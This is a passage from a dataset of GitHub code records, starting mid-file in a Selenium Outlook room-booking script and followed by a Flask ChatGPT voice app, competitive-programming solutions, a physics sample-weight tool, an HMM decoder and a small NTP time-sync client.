      building_found = False\n        b = []\n        for building in buildings:\n            b.append(building.find_element(By.TAG_NAME, \"span\").text)\n            if building.find_element(By.TAG_NAME, \"span\").text.__contains__(building_):\n                print(\"Found the room \" +\n                      building.find_element(By.TAG_NAME, \"span\").text)\n                self.driver.implicitly_wait(5000)\n                building.click()\n                building_found = True\n                break\n\n        print(\"Building found\")\n\n        if not building_found:\n            print(\"Building not found\")\n            return\n\n        self.driver.implicitly_wait(5000)\n        free_rooms = self.driver.find_element(\n            By.CSS_SELECTOR, \"div[aria-label='List of rooms']\").find_elements(By.TAG_NAME, \"span\")\n\n        print(\"Found \" + str(len(free_rooms)) + \" free rooms\")\n        free_room_list = []\n        for room in free_rooms:\n            free_room_list.append(room.text)\n\n        free_room_list = [x for x in free_room_list if x !=\n                          \"(Free)\" and x != \"AVAILABLE\"]\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button[aria-label='Close']\").click()\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button._db_9.o365button.o365buttonOutlined.ms-font-m.ms-fwt-sb.ms-fcl-np.ms-bgc-nlr.ms-bcl-nlr.ms-fcl-b-f.ms-bcl-tp-f\").click()\n\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button[aria-label='Close']\").click()\n        self.driver.implicitly_wait(5000)\n\n        return free_room_list\n\n    def book_room(self, title, building_, room_):\n        if self.driver.find_element(By.CLASS_NAME, \"_wx_s\"):\n            self.driver.find_element(By.CLASS_NAME, \"_wx_s\").find_element(\n                By.TAG_NAME, \"button\").click()\n\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"input[placeholder='Add a title for the event']\").send_keys(title)\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(By.CSS_SELECTOR, \"form[action='javascript:void(0);']\").find_element(\n            By.TAG_NAME, \"input\").click()\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button._lw_a._lw_b.ms-font-weight-regular.ms-font-color-black.o365button\").click()\n\n        # Find the buildings\n        build_list = self.driver.find_elements(\n            By.XPATH, \"//button/span[contains(text(), 'Choose new room list')]\")\n        self.driver.implicitly_wait(5000)\n        build_list[0].click()\n\n        # find the buildings\n        self.driver.implicitly_wait(5000)\n        div_with_rooms = self.driver.find_element(\n            By.CSS_SELECTOR, \"div[aria-label='List of room lists']\").find_element(By.TAG_NAME, \"div\")\n\n        # Select the building\n        buildings = div_with_rooms.find_elements(By.TAG_NAME, \"div\")\n        self.driver.implicitly_wait(10000)\n        for building in buildings:\n            if building.find_element(By.TAG_NAME, \"span\").text.__contains__(building_):\n                print(\"Found the room \" + building.find_element(By.TAG_NAME,\n                      \"span\").text + \" and clicked it\")\n                self.driver.implicitly_wait(5000)\n                building.click()\n                break\n\n        # Select the room\n        self.driver.implicitly_wait(5000)\n        free_rooms = self.driver.find_element(\n            By.CSS_SELECTOR, \"div[aria-label='List of rooms']\").find_elements(By.TAG_NAME, \"span\")\n        found = False\n        for room in free_rooms:\n            if room.text.__contains__(room_):\n                self.driver.implicitly_wait(5000)\n                room.find_element(By.XPATH, \"..\").click()\n                found = True\n                break\n\n        if not found:\n            free_rooms[0].find_element(By.XPATH, \"..\").click()\n\n    def book_time(self, year, month, day, start_time_, end_time_):\n        self.driver.implicitly_wait(5000)\n        print(\"Selecting the time\")\n        self.driver.find_element(By.CLASS_NAME, \"startDatePicker\").find_element(\n            By.TAG_NAME, \"button\").click()\n        self.driver.implicitly_wait(5000)\n        buttons = self.driver.find_element(\n            By.CLASS_NAME, \"_dx_8\").find_elements(By.TAG_NAME, \"button\")\n        m_forward = buttons[2]\n        year_month = buttons[1].get_attribute(\"aria-label\").split(\" \")\n        m = year_month[1]\n        y = year_month[0]\n        print(\"Current month is \" + m + \" and current year is \" + y)\n        while True:\n            if str(y) == str(year) and str(m) == str(month):\n                break\n            else:\n                m_forward.click()\n                self.driver.implicitly_wait(5000)\n                buttons = self.driver.find_element(\n                    By.CLASS_NAME, \"_dx_8\").find_elements(By.TAG_NAME, \"button\")\n                month_year = buttons[1].get_attribute(\"aria-label\").split(\" \")\n                m = month_year[1]\n                y = month_year[0]\n        print(\"Found the month and year\")\n        # find the correct day\n        self.driver.implicitly_wait(5000)\n        # select all day tags\n        days = self.driver.find_element(\n            By.CLASS_NAME, \"_dx_8\").find_elements(By.TAG_NAME, \"abbr\")\n        d = days\n        if int(day) > 10:\n            for day_ in reversed(d):\n                t = str(day_.text)\n                if t == str(day):\n                    day_.click()\n                    break\n        else:\n            for day_ in d:\n                t = str(day_.text)\n\n                if t == str(day):\n                    day_.click()\n                    break\n        print(\"Found the day\")\n        # change the start time\n        self.driver.implicitly_wait(5000)\n        start_time = self.driver.find_element(\n            By.CLASS_NAME, \"startTimePicker\").find_element(By.TAG_NAME, \"input\")\n        # click the start time\n        start_time.click()\n        print(\"Found the start time\")\n        for i in range(5):\n            start_time.send_keys(Keys.BACKSPACE)\n        self.driver.implicitly_wait(5000)\n        start_time.send_keys(start_time_)\n        print(\"Changed the start time\")\n        # Change the end time\n        self.driver.implicitly_wait(5000)\n        end_time = self.driver.find_elements(\n            By.CLASS_NAME, \"_dx_q\")[-1].find_element(By.TAG_NAME, \"input\")\n        # click the end time\n        end_time.click()\n        for i in range(5):\n            end_time.send_keys(Keys.BACKSPACE)\n        self.driver.implicitly_wait(5000)\n        end_time.send_keys(end_time_)\n\n        print(\"Changed the time\")\n\n    def set_message(self, text):\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(By.CLASS_NAME, \"_cx_42\").click()\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"div[aria-label='Event body']\").send_keys(text)\n\n    def add_people(self, attendees):\n        for i in range(len(attendees)):\n            self.driver.implicitly_wait(5000)\n            self.driver.find_element(\n                By.CSS_SELECTOR, \"input[aria-label='Add people']\").send_keys(attendees[i])\n            self.driver.implicitly_wait(5000)\n            time.sleep(0.5)\n            self.driver.implicitly_wait(5000)\n            self.driver.find_element(\n                By.CSS_SELECTOR, \"input[autoid='_fp_0']\").send_keys(Keys.ENTER)\n            time.sleep(0.5)\n\n    def send(self):\n        self.driver.implicitly_wait(5000)\n        self.driver.find_element(\n            By.CSS_SELECTOR, \"button[aria-label='Send']\").click()\n        print(\"Sent the meeting request\")\n\n    def book(self, building, room, year, month, day, start_time, end_time, title, text, attendees):\n        try:\n            self.book_room(title, building, room)\n            self.book_time(year, month, day, start_time, end_time)\n\n            if text != \"\":\n                self.set_message(text)\n\n            if len(attendees) != 0:\n                self.add_people(attendees)\n\n            self.send()\n\n            return True\n\n        except Exception as e:\n            return False\n\n        finally:\n            time.sleep(2)\n            self.driver.get(\n                \"https://mail.uio.no/owa/#path=/calendar\")\n            # self.driver.quit()\n\n    def update_availability(self):\n        if self.is_logged_in() == False:\n            d = Decrypt()\n            p = os.environ['PASS_KEY']\n            u = os.environ['USER_KEY']\n            if not p:\n                p = os.getenv('PASS_KEY')\n                u = os.getenv('USER_KEY')\n            p = d.decrypt(p + \"==\")\n            u = d.decrypt(u + \"==\")\n\n            self.login(p, u)\n\n        durations = [4, 3, 2, 1, 0.5]\n        last_room_and_duration = {}\n        first_time = True\n        for duration in durations:\n            building = \"Kollokvierom i Ole-Johan Dahls hus\"\n            year = datetime.now().year\n            # in the format of \"January\"\n            month = datetime.now().strftime(\"%B\")\n            day = datetime.now().day\n            start_time = datetime.now().strftime(\"%H:%M\")\n\n            # if time is over 24:00\n            if int(start_time.split(\":\")[0]) + duration > 24:\n                diff = int(start_time.split(\":\")[0]) + duration - 24\n                day += 1\n                start_time = \"0\" + str(diff) + \":00\"\n\n            end_time = (datetime.now() + timedelta(hours=duration)\n                        ).strftime(\"%H:%M\")\n\n            rooms = self.get_available_rooms(\n                building, year, month, day, start_time, end_time)\n\n            if len(rooms) != 0:\n                for room in rooms:\n                    if room not in last_room_and_duration.keys():\n                        last_room_and_duration[room] = duration\n                    else:\n                        if duration > last_room_and_duration[room]:\n                            last_room_and_duration[room] = duration\n\n            update_available_rooms(\n                rooms, duration, last_room_and_duration, first_time)\n            first_time = False\n","repo_name":"espennoreng/room_booker_uio_api","sub_path":"app/roomBooker.py","file_name":"roomBooker.py","file_ext":"py","file_size_in_byte":14325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"34123476143","text":"from flask import Flask, send_file, Response, send_from_directory\r\nfrom flask import jsonify,request,render_template\r\nimport io\r\nimport re\r\nimport json\r\nimport getGPTAPI \r\n# from baidu import  getbdaudio\r\nimport getAudio\r\nimport speak\r\nimport voice2text\r\nimport wave\r\nimport requests\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/hello\",methods = [\"GET\",\"POST\"])\r\ndef sayhi():\r\n    return \"hello\"\r\n\r\n@app.route(\"/chat/\",methods = [\"GET\",\"POST\"])\r\ndef chat():\r\n    getGPTAPI.messages =[\r\n        {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\r\n    ]\r\n    return render_template(\"index.html\")\r\n\r\n@app.route(\"/openai/\",methods = [\"GET\",\"POST\"])\r\ndef openai():\r\n    j = request.get_json()\r\n    \r\n    message = {\"role\": \"user\", \"content\": j[\"content\"][0]}\r\n    gptResponse = getGPTAPI.chat_response(message)[\"content\"]\r\n    print(gptResponse)\r\n    #getbdaudio.read_text(gptResponse,1,'audio')\r\n    #getAudio.text2voice(gptResponse)\r\n    print(\"return string\")\r\n    return  gptResponse#.replace(\"<br>\",\"\")  \r\n\r\n\r\n@app.route(\"/copilot/\",methods = [\"GET\",\"POST\"])\r\ndef copilot():\r\n    j = request.get_json()\r\n    print()\r\n    message = {\"role\": \"user\", \"content\": j[\"content\"][0]}\r\n    url = 'https://semantickernalapi.azurewebsites.net/Chat'\r\n    data = {\r\n    \"content\": j[\"content\"][0]\r\n    }\r\n    print('data',data)\r\n    headers = {\"Content-Type\": \"application/json\"}\r\n    #dic[\"info\"]=  \" \"*i+\"\"\"ChatGPT4 is great,I love openAI !\"\"\"\r\n    response = requests.post(url, json=data,headers= headers)\r\n    print(response.json())\r\n    print(\"return string\")\r\n    content  = response.json()[\"content\"]\r\n    return  content\r\n\r\n\r\n@app.route('/audio/mp3')\r\ndef stream_mp3():\r\n    audio_file = 'static\\\\music2.mp3'\r\n    return send_file(audio_file, mimetype='audio/mpeg')\r\n\r\n\r\n@app.route('/file')\r\ndef stream_file():\r\n    audio_file = 'static\\\\record_voice.py'\r\n    return send_file(audio_file, mimetype='audio/mpeg')\r\n\r\n\r\n@app.route('/esp32upload', methods=['POST',\"PUT\"])\r\ndef esp32upload():\r\n\r\n\r\n    data  =request.data\r\n    print(data)\r\n    file_path = \"static\\\\received.wav\"\r\n    with open(file_path, 'wb') as file:\r\n        file.write(data)\r\n\r\n@app.route('/upload', methods=['POST',\"PUT\"])\r\ndef upload():\r\n\r\n\r\n    data  =request.data\r\n    print(data)\r\n    print(\">>>>>>>>>>>>1\")\r\n    file_path = \"static\\\\received.wav\"\r\n    file = request.files['file']\r\n    print(\">>>>>>>>>>>>2\")\r\n    file.save(file_path)\r\n    print(\">>>>>>>>>>>>3\")\r\n    converted_text = speak.recognize_from_voice(file_path)\r\n    print(\">>>>>>>>>>>>4\")\r\n    print(\"-------------\",converted_text)\r\n    url = \"http://192.168.43.185:5000/openai/\"\r\n    headers = {\"Content-Type\":\"application/json\"}\r\n    response = requests.post(url = url,headers=headers,json = {\"content\":[converted_text]})#询问GPT\r\n    gptResponseText = response.text\r\n    print(gptResponseText)\r\n    audio_file = getAudio.text2voice(gptResponseText)\r\n    print(audio_file)\r\n    return send_file(audio_file, mimetype='audio/mpeg')\r\n\r\n   \r\n\r\nif __name__ == '__main__':\r\n    app.run(host=\"192.168.43.185\",port=5000 ,debug=True)  # 172.20.10.7\r\n    #app.run(host=\"172.20.10.7\",port=5000 ,debug=True) \r\n\r\n","repo_name":"vvhanxing/ChatGPTAPP","sub_path":"chatGPTAPP.py","file_name":"chatGPTAPP.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40412742044","text":"import math \n\nN = int(input())\nnums = set()\n\na = 2\nwhile a <= math.sqrt(N):\n    b = 2\n    while a**b <= N:\n        nums.add(a**b) \n        b += 1\n    a += 1\n\nprint(N-len(nums))","repo_name":"paperlefthand/atcoder","sub_path":"ABC_C/193c.py","file_name":"193c.py","file_ext":"py","file_size_in_byte":176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19776436631","text":"import uproot\nfrom glob import glob\nfrom argparse import ArgumentParser\nimport os\nimport re\nimport json\nfrom collections import defaultdict\nfrom pathlib2 import Path\n\nbroken_dict = defaultdict(lambda: defaultdict(list))\n\n\nsample_2id = {\n    \"radion_vbf\": -4,\n    \"radion_ggf\": -3,\n    \"graviton_vbf\": -2,\n    \"graviton_ggf\": -1,\n    \"data\": 0,\n    \"DY\": 1,\n    \"TT\" : 2,\n    \"ST\" : 3,\n    \"WJets\" : 4,\n    \"EWK\" : 5,\n    \"TTV\" : 6,\n    \"TTVV\" : 7,\n    \"TTVH\" : 8,\n    \"TTH\" : 9,\n    \"SMH\" : 10,\n    \"SMHH\" : 11,\n    \"WH\" : 12,\n    \"ZH\" : 13,\n    \"VVV\" : 14,\n    \"VV\" : 15,\n}\n\n\ndef get_sample_id(skim: str):\n    if any(y in skim for y in ['2016', '2017', '2018']):\n        # data skims\n        return 0\n    elif \"radion\" in skim.lower():\n        if \"vbf\" in skim.lower():\n            return -4 \n        elif \"ggf\" in skim.lower():\n            return -3 \n        else:\n            raise ValueError(f\"Radion (signal) skim found but neither vbf nor ggf in {skim}\")\n    elif \"graviton\" in skim.lower():\n        if \"vbf\" in skim.lower():\n            return -2 \n        elif \"ggf\" in skim.lower():\n            return -1 \n        else:\n            raise ValueError(f\"Graviton (signal) skim found but neither vbf nor ggf in {skim}\")\n    else:\n        if \"DY_\" in skim:\n            return 1\n        elif \"TT_\" in skim:\n            return 2\n        elif \"ST_\" in skim:\n            return 3\n        elif \"WJets_\" in skim:\n            return 4\n        elif \"EWK\" in skim:\n            return 5\n        elif any(s in skim for s in [\"TTZTo\", \"TTWJets\"]):\n            return 6\n        elif any(s in skim for s in [\"TTWW\", 'TTWZ', 'TTZZ']):\n            return 7\n        elif any(s in skim for s in [\"TTZH\", \"TTWH\"]):\n            return 8\n        elif \"ttHTo\" in skim:\n            return 9\n        elif any(s in skim for s in [\"VBFHTo\",\"GluGluHTo\"]):\n            return 10\n        elif \"GGHH_SM\" in skim:\n            return 11\n        elif any(s in skim for s in [\"WminusHTo\",\"WplusHTo\"]):\n            return 12\n        elif any(s in skim for s in [\"ZH_HTo\",\"ZHTo\"]):\n            return 13\n        elif any(s in skim for s in [\"WWW\",\"WWZ\",\"WZZ\",\"ZZZ\"]):\n            return 14\n        elif any(s in skim for s in [\"WW\", \"WZ\", \"ZZ\"]):\n            return 15\n        else:\n            raise ValueError(f\"Cannot associate skim {skim} with an ID\")\n\n\ndef make_parser():\n    parser = ArgumentParser(description=\"Generate json for submission\")\n    parser.add_argument(\"-p\", \"--paths\", type=str, nargs=\"*\",\n                        help=\"Paths containing .root files and goodfiles.txt\")\n    parser.add_argument(\"-y\", \"--year\", type=str, help=\"2016, 2016APV, 17, or 18\")\n    parser.add_argument(\"-j\", \"--json\", type=str, required=False, default=\"\",\n                        help=\".json file to append to. If none, new one will be written.\")\n    parser.add_argument(\"-b\", \"--broken\", type=str, required=False, default=\"\",\n                        help=\".txt file containing broken .root files to ignore\")\n    return parser\n\n\ndef parse_goodfile_txt(goodfile:Path,):\n    skims_dir = goodfile.absolute().parent\n    try:\n        with open(goodfile) as gfile:\n            gfiles = sorted([Path(line.rstrip()) for line in gfile])\n            if len(gfiles) == 0:\n                print(f\"Found 0 files in {goodfile}. Globbing all .root files in skim dir.\")\n                # goodfiles.txt is empty: just glob all .root files in \n                # skims dir and hope they're good\n                gfiles = sorted([i for i in skims_dir.glob(\"*.root\")])\n            else:\n                # check if the paths have been updated\n                if gfiles[0].parent != skims_dir:\n                    # if not stick the filename on the end of the provided path\n                    # and hope for the best\n                    gfiles = [skims_dir / i.name for i in gfiles]\n    except:\n        print(f\"Unable to read goodfiles from {gfile}. Globbing all .root files in skim dir.\")\n        gfiles = sorted([i for i in skims_dir.glob(\"*.root\")])\n\n    return gfiles\n\n\ndef parse_broken_txt(brokenfile: Path,):\n    with open(brokenfile) as bfile:\n        bfiles = sorted([Path(line.rstrip()) for line in bfile])\n        print(f\"ignoring the following files: {bfiles}\")\n    return bfiles\n\n\ndef read_sumw(gfiles:list,):\n    global broken_dict\n    sum_w = 0\n    for j, gfile in enumerate(gfiles):\n        print(f\"Opening file {j+1}/{len(gfiles)}.\\r\", end=\"\")\n        print(f\"Opening file {gfile}.\\r\", end=\"\")\n        sample = gfile.absolute().parent.name\n        try:\n            with uproot.open(gfile) as data:\n                h_eff = data['h_eff'].to_numpy()\n            # h_eff is a tuple like: (array([N1, N2,...], dtype=float32),\n            #                         array([0,1,2,3,4,5]))\n            sum_w += h_eff[0][0]\n        except ValueError as ve:\n            if ve == \"cannot mmap an empty file\":\n                print(f\"\\n FILE {gfile} seems to be empty!\")\n                broken_dict[sample][\"Empty\"].append(str(gfile))\n            continue\n        except OSError as oe:\n            print(oe)\n            print(f\"{gfile} seems to be broken\")\n            broken_dict[sample][\"Broken\"].append(str(gfile))\n            continue\n        except uproot.KeyInFileError as upe:\n            print(upe)\n            print(f\"{gfile} seems to be broken\")\n            broken_dict[sample][\"Empty\"].append(str(gfile))\n        except:\n            print(\"{gfile} seems to be broken\")\n            broken_dict[sample][\"Empty\"].append(str(gfile))\n    return sum_w\n    \n\ndef main(paths: list, year: str, jsonfile:str = \"\", brokenfile: str=\"\"):\n    global broken_dict\n    if jsonfile == \"\":\n        jsonfile = f\"./{year}.json\"\n    d = defaultdict(lambda: defaultdict(dict))\n    paths = [i for i in paths if os.path.isdir(i)]\n    ## remove data samples\n    #paths = [i for i in paths if not f\"Run{year}\" in i]\n    if brokenfile != \"\":\n        bfiles = parse_broken_txt(brokenfile)\n        print(f\"ignoring the following broken files: {bfiles}\")\n\n    for i, path in enumerate(paths):\n        print(f\"\\nWorking on sample {i+1}/{len(paths)}.\\n\")\n        print(f\"\\nWorking on sample {path}.\\n\")\n        path = Path(path).absolute()\n        skim = path.stem\n        sample_id = get_sample_id(skim)\n        goodfile = path / 'goodfiles.txt'\n        if not os.path.exists(goodfile):\n            print(f\"{path} does not have a goodfile.txt\")\n            # in this case we don't know if these files are actually good\n            # we just take all .root files in the skims dir. \n            # in that sense this variable name is a misnomer\n            # but this script was first written at a time at which the author \n            # assumed there would always be a \"goodfiles.txt\".. So here we are.\n            gfiles = sorted([i for i in path.glob(\"*.root\")])\n        else:\n            try:\n                gfiles = parse_goodfile_txt(goodfile) \n            except:\n                print(f\"Unable to read {goodfile}\")\n        if brokenfile != \"\":\n            gfiles = [file for file in gfiles if not file in bfiles]\n        n_files = len(gfiles) \n        if year in path.name:\n            # Data sample\n            d[year][skim][\"Path\"] = str(path)\n            d[year][skim][\"Sum_w\"] = 1\n            d[year][skim][\"N_files\"] = n_files\n            d[year][skim][\"Sample_ID\"] = sample_id\n        else:\n            try:\n                sum_w = read_sumw(gfiles,)\n                d[year][skim][\"Path\"] = str(path)\n                d[year][skim][\"Sum_w\"] = sum_w\n                d[year][skim][\"N_files\"] = n_files\n                d[year][skim][\"Sample_ID\"] = sample_id\n            except:\n                print(f\"Unable to read weights for skim {skim}\")\n                continue\n    with open(f\"./{jsonfile}\", \"a\") as f:\n        print(f\"writing to ./{jsonfile}. You may want to change the name.\")\n        json.dump(d, f)\n    with open(f\"./{year}_broken_stats.json\", \"w\") as f:\n        json.dump(broken_dict, f)\n\n\nif __name__ == \"__main__\":\n    parser = make_parser()\n    args = parser.parse_args()\n    main(paths= args.paths,\n         year= args.year,\n         jsonfile=args.json,\n         brokenfile=args.broken)\n","repo_name":"JohanWulff/cms_runII_processing_tools","sub_path":"getSumW.py","file_name":"getSumW.py","file_ext":"py","file_size_in_byte":8132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37219531811","text":"class Solution:\n    def findInteger(self, k: int, digit1: int, digit2: int) -> int:\n        if digit1 == digit2 == 0 or set( ((k%10) * _)%10  for _ in range(1, 10)) & {digit1, digit2} == set():\n            #d1 and d2 are not a multiple of last digit of k\n            return -1\n\n        def cross(A, B): #[digit1, digit2], Total\n            output = []\n            for a in A:\n                for b in B:\n                    output.append(b + [a])\n                    output.append([a] + b)\n            return output\n\n        digit1 = str(digit1)\n        digit2 = str(digit2)\n        itr = 1\n        prev = [[],[digit1, digit2]]\n        output = [[],[digit1, digit2]]\n        while itr < 9: # to find all the possible numbers < 2*31 - 1\n            prev = cross([digit1, digit2], prev)\n            output += prev\n            itr+= 1\n\n        output = list(set(tuple(o) for o in output))\n\n        pool = sorted([int(\"\".join(_)) for _ in output if _])\n        # print(pool[-1])\n        # print(pool)\n        for p in pool:\n            if p > 2**31-1:\n                return -1\n            if p%k == 0 and p > k and p <= 2**31-1 :\n                return p\n        return -1\n\n\n\n\n\n","repo_name":"renjieliu/leetcode","sub_path":"1500_1999/1999.py","file_name":"1999.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"39520883213","text":"def calculater(mid,arr):\n\tresult = 0\n\tfor i in arr:\n\t\tif(i%mid==0):\n\t\t\tresult += i//mid\n\t\telse:\n\t\t\tresult += 1+(i//mid)\n\treturn result\ndef binarySearch(l,r,h,arr):\n\twhile(l<r):\n\t\tmid = (l+r)//2\n\t\tx = calculater(mid,arr)\n\t\tprint(mid)\n\t\tprint(x)\n\t\tif(x==h):\n\t\t\treturn mid\n\t\telif(x<h):\n\t\t\tl = mid\n\t\telse:\n\t\t\tr = mid\n\treturn l\nn,h = map(int,input().split())\narr = list(map(int,input().split()))\nl = min(arr)\nr = max(arr)\nprint(arr)\nprint(binarySearch(l,r,h,arr))","repo_name":"aayush17002/DumpCode","sub_path":"Dump/D (2).py","file_name":"D (2).py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10451661832","text":"# 15681 트리와 쿼리\nimport sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**6)\n\ndef sol():\n    # R is root Num\n    N,R,Q = map(int,input().split())\n    graph = [[] for _ in range(N+1)]\n    parent = [[] for _ in range(N+1)]\n    child = [[] for _ in range(N+1)]\n    size = [1]*(N+1)\n\n    # making graph\n    for _ in range(N-1):\n        s,e = map(int,input().split())\n        graph[s].append(e)\n        graph[e].append(s)\n\n    def makeTree(curNode, parentNode):\n        for nextNode in graph[curNode]:\n            if nextNode != parentNode:\n                # 우리 아이\n                child[curNode].append(nextNode)\n                # 우리 부모\n                parent[nextNode].append(curNode)\n                makeTree(nextNode, curNode)\n\n    def countSubTree(curNode):\n        for nextNode in child[curNode]:\n            countSubTree(nextNode)\n            size[curNode] += size[nextNode]\n\n\n    makeTree(R,-1)\n    countSubTree(R)\n\n    for _ in range(Q):\n        val = int(input())\n        print(size[val])\n\n\nsol()\n\n\n\n\n\n","repo_name":"inkyu0103/BOJ","sub_path":"Tree/15681.py","file_name":"15681.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18284796490","text":"import sys \nimport json\nimport pandas as pd \n\ndef bill_data(name):\n    traffic_df = pd.read_csv('/Users/hardik.shakya/Desktop/Web-Examples/Data/trafficdata.csv', delimiter = ';')\n    array = []\n    for i in range(24) :\n\n        t = traffic_df[traffic_df.City == name]\n        av_df1 = t[t.hours == int(i)]\n\n        av_car_num = av_df1['CAR'].mean()\n        av_bus_num = av_df1['BUS'].mean()\n        av_lgv_num = av_df1['LGV'].mean()\n        av_h2_num = av_df1['HGVR2'].mean()\n        av_h3_num = av_df1['HGVR3'].mean()\n        av_h4_num = av_df1['HGVR4'].mean()\n        av_v3_num = av_df1['HGVA3'].mean()\n        av_v5_num = av_df1['HGVA5'].mean()\n        av_v6_num = av_df1['HGVA6'].mean()\n        av_hgv_num = av_df1['HGV'].mean()\n        av_amv_num = av_df1['AMV'].mean()\n\n        av_veh_sum = (av_car_num + av_bus_num + av_lgv_num + av_h2_num + av_h3_num + av_h4_num + av_v3_num + av_v5_num + av_v6_num + av_hgv_num + av_amv_num)//11\n        array.append(av_veh_sum) \n    return json.dumps(array) \n","repo_name":"hardikshakya/Web-Examples","sub_path":"Python/FlaskTry/try1.py","file_name":"try1.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33266019892","text":"import numpy as np\r\n\r\ndef hmm(obv):\r\n    print('Observations: ' + obv)\r\n    trans = np.matrix([[0.9,0.1],[0.1,0.9]])\r\n    em = np.matrix([[0.8,0.2],[0.5,0.5]])\r\n    v = np.zeros((2,len(obv)))\r\n    path = np.zeros((2,len(obv)))\r\n\r\n    v[0,0] = 0.5*em[0,int(obv[0])]\r\n    v[1,0] = 0.5*em[1,int(obv[0])]\r\n\r\n    for i in range(1,len(obv)):\r\n        x = int(obv[i])\r\n        p00 = v[0,i-1]*trans[0,0]\r\n        p01 = v[0,i-1]*trans[0,1]\r\n        p10 = v[1,i-1]*trans[1,0]\r\n        p11 = v[1,i-1]*trans[1,1]\r\n        v[0,i] = em[0,x]*max(p00, p10)\r\n        v[1,i] = em[1,x]*max(p01, p11)\r\n        if p10>p00:\r\n            path[0,i] = 1\r\n        if p11>p01:\r\n            path[1,i] = 1\r\n\r\n    i = len(obv)-1\r\n    j = 0\r\n    ml = []\r\n    if v[:,len(obv)-1][1] > v[:,len(obv)-1][0]:\r\n        j = 1\r\n    while i >= 0:\r\n        ml.append(str(int(j)))\r\n        k = j\r\n        j = path[int(k),int(i)]\r\n        i -= 1\r\n\r\n    states = ''.join(ml)[::-1]\r\n    print('States:       ' + states)\r\n\r\n    transitions = 0\r\n    for i in range(len(states)-1):\r\n        if states[i+1] != states[i]:\r\n            transitions += 1\r\n    print('Transitions:  ' + str(transitions))\r\n\r\nwith open('real_observations.txt') as obv_file:\r\n    for line in obv_file:\r\n        hmm(line.strip('\\n'))","repo_name":"robchiral/hmm","sub_path":"robch_hmm.py","file_name":"robch_hmm.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16150865304","text":"#7 Проверить истинность утверждения ¬(X ⋁ Y ⋁ Z) = ¬X ⋀ ¬Y ⋀ ¬Z для всех значений предикат\ndef f7():\n    for x in range(2):\n        for y in range(2):\n            for z in range(2):\n                bool_x = bool(x)\n                bool_y = bool(y)\n                bool_z = bool(z)\n                if not (bool_x or bool(y) or bool(z)) == ((not bool_x) and (not bool(y)) and (not bool(z))):\n                    print(f\"Для значений x = {bool_x}; y = {bool_y}; z = {bool(z)} утверждение ¬(X ⋁ Y ⋁ Z) = ¬X ⋀ ¬Y ⋀ ¬Z выполнятется\")\n                else:\n                    print(f\"Для значений x = {bool_x}; y = {bool_y}; z = {bool(z)} утверждение ¬(X ⋁ Y ⋁ Z) = ¬X ⋀ ¬Y ⋀ ¬Z не выполнятется\")\nf7()","repo_name":"dmitrymar7/python_hw1","sub_path":"tasks/task7.py","file_name":"task7.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2970481312","text":"#Bartu Utku SARP 150401028\n\nimport socket\nimport datetime\nimport os\nimport sys\n\nserverIP = str(input(\"Sunucu adresi giriniz:\"))\nport = 142\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_connection = (serverIP, port) \ns.connect(server_connection)\n\nserver_time = s.recv(1024).decode()\nserver_timezone = s.recv(1024).decode()\ntime = datetime.datetime.fromtimestamp(int(server_time)/1000)\nprint(\"Yeni İstemci Zamanı: \", datetime.datetime.fromtimestamp(int(server_time)/1000).strftime('%Y-%m-%d %H:%M:%S:%f')[:-4], \"İstemci Zaman Dilimi:\", server_timezone)\ncmd = \"sudo timedatectl set-time '%s'\"%time\nos.system(cmd)\nprint(\"Saat değiştirildi.\")\n","repo_name":"nyucel/blm304","sub_path":"final/150401028/NTPClient.py","file_name":"NTPClient.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"tr","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
